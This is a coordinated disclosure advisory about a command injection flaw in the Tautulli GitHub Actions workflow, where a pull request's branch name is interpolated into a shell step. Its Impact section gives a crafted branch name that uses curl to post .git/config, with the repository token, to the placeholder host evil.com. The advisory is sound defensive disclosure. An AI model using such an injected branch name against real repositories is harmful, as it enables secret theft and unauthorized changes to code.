Coordinated Disclosure Timeline

• 2021-01-18: Issue reported to maintainers
• 2021-01-18: Issue acknowledged
• 2021-01-18: Issue fixed

Summary

The pull-requests.yml GitHub workflow is vulnerable to unauthorized modification of the base repository or secrets exfiltration from a Pull Request.

Product

Tautulli/Tautulli repository

Tested Version

The latest changeset of pull-requests.yml to the date.

Details

Issue: A branch name from the pull request is used to format a shell command

Please notice that the vulnerability exists in multiple branches as pull_request_target workflow runs from the branch the pull request was done to.

on:
  pull_request_target:
    types: [opened, synchronize, edited, reopened]
...
      - name: Fail Workflow
        if: github.base_ref != 'nightly'
        run: |
          echo Base: ${{ github.base_ref }}
          echo Head: ${{ github.head_ref }}
          exit 1

Impact

This vulnerability allows for arbitrary command injection into the bash script which allows for unauthorized modification of the base repository and secrets exfiltration. For example a PR from branch named a;${IFS}curl${IFS}-d${IFS}@.git/config${IFS}evil.com${IFS}# would exfiltrate the repository token to the attacker controlled server.

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at [email protected], please include a reference to GHSL-2021-016 in any communication regarding this issue.